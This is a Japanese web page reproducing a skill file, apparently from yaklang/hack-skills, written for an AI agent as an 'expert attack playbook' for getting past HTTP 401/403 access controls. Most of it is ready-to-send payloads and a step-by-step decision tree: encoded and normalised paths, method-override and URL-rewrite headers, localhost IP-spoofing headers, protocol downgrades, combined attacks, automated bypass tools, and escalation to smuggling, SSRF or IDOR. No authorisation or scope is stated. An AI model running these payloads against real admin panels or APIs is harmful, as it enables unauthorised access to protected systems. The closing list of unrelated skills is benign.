401-403-bypass-techniques
401/403 エラーのバイパス手法をまとめたプレイブック。管理パネル・APIエンドポイント・制限付きパスでアクセス拒否が発生した際に活用する。パス操作、HTTPメソッド改ざん、ヘッダーインジェクション、プロトコルダウングレード、自動バイパスツールの使用方法を網羅する。
description の原文を見る
>- 401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
SKILL.md 本文
SKILL: 401/403 Bypass Techniques — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: 包括的な 401/403 forbidden バイパス技術。パス正規化トリック、HTTP メソッドオーバーライド、ヘッダーベースのバイパス (X-Original-URL、X-Forwarded-For)、プロトコルバージョンのトリック、および組み合わせ攻撃をカバーしています。ベースモデルは通常 2~3 個のヘッダーバイパスを知っていますが、パス操作の完全なマトリクスと verb+path の組み合わせを見落とします。
0. 関連ルーティング
authbypass-authentication-flaws— より広い認証バイパス (ログインフロー、セッション処理)waf-bypass-techniques— バイパスが WAF 固有の場合http-host-header-attacks— ルーティングバイパス用のホストヘッダー操作request-smuggling— アクセス制御を完全に通すhttp2-specific-attacks— プロキシ ACL をバイパスするための h2c スマグリング
1. パス操作バイパス
コアアイデア: リバースプロキシ/WAF が 1 つのパス形式をチェックしますが、バックエンドは異なる方法で正規化します。
1.1 末尾スラッシュ / スラッシュなし
/admin → 403
/admin/ → 200 ✓ (末尾スラッシュ)
/admin/. → 200 ✓ (末尾ドット)
1.2 大文字小文字の区別
/admin → 403
/Admin → 200 ✓
/ADMIN → 200 ✓
/aDmIn → 200 ✓
適用条件: プロキシルールは大文字小文字を区別しますが、バックエンドは区別しません (Windows/IIS で一般的)。
1.3 URL エンコーディング
/admin → 403
/%61dmin → 200 ✓ ('a' をエンコード)
/admi%6e → 200 ✓ ('n' をエンコード)
/%61%64%6d%69%6e → 200 ✓ (完全にエンコード)
1.4 ダブル URL エンコーディング
/admin → 403
/%2561dmin → 200 ✓ (%25 = %、2 回デコード: %61 → a)
/admin%252f → 200 ✓
/admin..%252f → 200 ✓
1.5 Unicode / UTF-8 エンコーディング
/admin → 403
/admi%C0%AE → 200 ✓ ('.' の overlong UTF-8)
/admi%C0%6E → 200 ✓ (overlong エンコーディング)
/%C0%AFadmin → 200 ✓ ('/' の overlong)
1.6 ドットセグメント / パストラバーサル
/admin → 403
/./admin → 200 ✓
//admin → 200 ✓
/admin/./ → 200 ✓
/.//admin → 200 ✓
/admin..;/ → 200 ✓ (Tomcat パスパラメータ)
1.7 ヌルバイト
/admin → 403
/admin%00 → 200 ✓
/admin%00.json → 200 ✓
/%00/admin → 200 ✓
1.8 パスパラメータインジェクション
/admin → 403
/admin;foo=bar → 200 ✓ (Tomcat/Java は ; をパスパラメータとして扱う)
/admin; → 200 ✓
/admin;x → 200 ✓
1.9 末尾の特殊文字
/admin%20 (スペース) /admin%09 (タブ) /admin? (空のクエリ)
/admin.json /admin.html /admin/~
1.10 バックスラッシュ (Windows/IIS)
/admin\ /admin\..\/ \..\admin
1.11 パストトリックの組み合わせ
///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
2. HTTP メソッドバイパス
2.1 直接メソッド変更
GET /admin → 403
POST /admin → 200 ✓
PUT /admin → 200 ✓
PATCH /admin → 200 ✓
DELETE /admin → 200 ✓
OPTIONS /admin → 200 ✓ (許可されたメソッドを漏らす可能性)
TRACE /admin → 200 ✓ (ヘッダーを反映する可能性 — XST)
HEAD /admin → 200 ✓ (GET と同じだがボディなし — アクセス確認)
2.2 メソッドオーバーライドヘッダー
プロキシがメソッドでブロックしますが、バックエンドがオーバーライドヘッダーを読み取る場合:
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT
GET /admin HTTP/1.1
X-Method-Override: POST
GET /admin HTTP/1.1
X-HTTP-Method: DELETE
POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT (POST ボディ内 — Rails、Laravel)
2.3 カスタム / 無効なメソッド
FOOBAR /admin HTTP/1.1 → 一部の ACL は GET/POST のみをチェック
GETS /admin HTTP/1.1 → タイプミスのようなメソッドはバイパス可能
CONNECT /admin HTTP/1.1 → プロキシはトンネル可能
PROPFIND /admin HTTP/1.1 → WebDAV メソッド
MOVE /admin HTTP/1.1 → WebDAV メソッド
3. ヘッダーベースのバイパス
3.1 URL リライトヘッダー (Nginx/IIS)
これらのヘッダーはバックエンドに「真の」URL を伝え、プロキシレベルのパスチェックをバイパスします:
GET / HTTP/1.1
X-Original-URL: /admin
GET / HTTP/1.1
X-Rewrite-URL: /admin
プロキシは GET / (許可) を見ますが、バックエンドは /admin にルーティングします。
3.2 IP スプーフィングヘッダー (ホワイトリストバイパス)
試すヘッダー (各値は 127.0.0.1、10.0.0.1、0.0.0.0、::1):
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
IP エンコーディング変種: 0177.0.0.1 (8進数)、2130706433 (10進数)、0x7f000001 (16進数)、localhost
3.3 その他のヘッダートリック
Referer: https://target.com/admin # リファラーチェックバイパス
Origin: https://target.com # オリジンチェックバイパス
Host: localhost # ホストヘッダー操作
X-Forwarded-Host: localhost # フォワードホスト
Content-Type: application/json # コンテンツタイプの切り替え
X-Requested-With: XMLHttpRequest # AJAX フラグ
4. プロトコルバージョンバイパス
# HTTP/1.0 (一部の ACL は HTTP/1.1 にのみ適用)
GET /admin HTTP/1.0
# HTTP/0.9 (極めてレガシー — ヘッダーなし)
GET /admin
# HTTP/2 疑似ヘッダートリック
:method: GET
:path: /admin
:authority: target.com
# H2 固有のバイパスについては ../http2-specific-attacks/SKILL.md を参照
5. 動詞改ざん + パス組み合わせ
複数の技術を組み合わせて成功率を上げます:
POST / HTTP/1.1 # メソッドオーバーライド + URL リライト
X-Original-URL: /admin
X-HTTP-Method-Override: GET
GET /%61dmin HTTP/1.1 # IP スプーフ + パスエンコーディング
X-Forwarded-For: 127.0.0.1
GET /Admin HTTP/1.0 # プロトコル + 大文字小文字 + IP スプーフ
X-Forwarded-For: 127.0.0.1
6. テクノロジー固有のバイパス
| サーバー | 主なトリック |
|---|---|
| Apache | /admin/ (末尾スラッシュ)、/.admin (ドットプレフィックス)、/admin%0d (CR) |
| Nginx | /Admin (大文字小文字)、/admin../ (正規化)、X-Original-URL: /admin |
| IIS/ASP.NET | /admin;.css (パスパラメータ+拡張子)、/admin\ (バックスラッシュ)、/admin::$DATA (ADS)、/admin%20 |
| Tomcat/Java | /admin;foo (パスパラメータ)、/admin..;/ (トラバーサル)、/;/admin (空パラメータ) |
| Spring | /admin.anything (サフィックスマッチング、古い)、/admin/ (末尾スラッシュ) |
7. 自動化ツール
| ツール | 目的 | URL |
|---|---|---|
| byp4xx | 包括的な 403 バイパススキャナー | github.com/lobuhi/byp4xx |
| 403bypasser | 自動ヘッダー/パス/メソッドバイパス | github.com/sting8k/403bypasser |
| dirsearch | エンコーディング変種付きディレクトリブルートフォース | github.com/maurosoria/dirsearch |
| feroxbuster | 再帰的コンテンツ発見 | github.com/epi052/feroxbuster |
| Burp Intruder | 手動テスト用カスタムペイロードリスト | portswigger.net |
byp4xx の使用方法
# 基本的な使用
./byp4xx.sh https://target.com/admin
# 出力は試行されたすべてのバイパスとレスポンスコードを表示
# 200/301/302 レスポンス = 潜在的なバイパス発見
8. デシジョンツリー
401 または 403 がパスで得られましたか?
│
├── まずパス操作を試す (成功率が最も高い)
│ ├── /path/ (末尾スラッシュ)
│ ├── /PATH (大文字小文字変更)
│ ├── /path%20 (末尾スペース)
│ ├── /./path (ドットセグメント)
│ ├── //path (ダブルスラッシュ)
│ ├── /path;x (パスパラメータ — Java/Tomcat)
│ ├── /path..;/ (Tomcat 固有)
│ ├── /%2e/path (エンコードドット)
│ ├── /path%00 (ヌルバイト)
│ ├── /path%23 (エンコードハッシュ)
│ └── 結果? → 200 = バイパス発見
│
├── パストリック失敗 → メソッドバイパスを試す
│ ├── POST/PUT/PATCH/DELETE/OPTIONS
│ ├── HEAD (ボディなし GET と同じ)
│ ├── X-HTTP-Method-Override: PUT
│ └── TRACE (認証ヘッダーを反映する可能性 — XST)
│
├── メソッドトリック失敗 → ヘッダーバイパスを試す
│ ├── X-Original-URL: /path (Nginx/IIS リライト)
│ ├── X-Rewrite-URL: /path (同じコンセプト)
│ ├── X-Forwarded-For: 127.0.0.1 (IP ホワイトリスト)
│ ├── X-Real-IP: 127.0.0.1
│ ├── True-Client-IP: 127.0.0.1
│ └── Referer: https://target.com/path
│
├── ヘッダートリック失敗 → プロトコルバイパスを試す
│ ├── HTTP/1.1 の代わりに HTTP/1.0
│ ├── HTTP/2 h2c スマグリング (../http2-specific-attacks/)
│ └── WebSocket アップグレード
│
├── 単一の技術失敗 → 組み合わせを試す
│ ├── メソッド + パス: POST /PATH/
│ ├── ヘッダー + パス: X-Forwarded-For + /path%20
│ ├── すべて: POST + X-Original-URL + IP ヘッダー
│ └── プロトコル + パス: HTTP/1.0 + エンコードパス
│
├── すべてのバイパス失敗 → 代替アプローチを検討
│ ├── リクエストスマグリング (../request-smuggling/) → ACL を通す
│ ├── SSRF (../ssrf-server-side-request-forgery/) → サーバーからアクセス
│ ├── IDOR (../idor-broken-object-authorization/) → データに直接アクセス
│ └── 認証フロー (../authbypass-authentication-flaws/) → ログインバイパス
│
└── 完全性のため byp4xx / 403bypasser で自動スキャン
9. クイックリファレンス — 主要ペイロード
# トップ 10 クイックウィン (まずこれを試す)
GET /admin/ HTTP/1.1 # 末尾スラッシュ
GET /Admin HTTP/1.1 # 大文字小文字変更
GET /admin%20 HTTP/1.1 # 末尾スペース
GET /./admin HTTP/1.1 # ドットセグメント
GET //admin HTTP/1.1 # ダブルスラッシュ
POST /admin HTTP/1.1 # メソッド変更
GET / HTTP/1.1 # X-Original-URL バイパス
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP ホワイトリストバイパス
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS パスパラメータ
GET /admin..;/ HTTP/1.1 # Tomcat バイパス
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。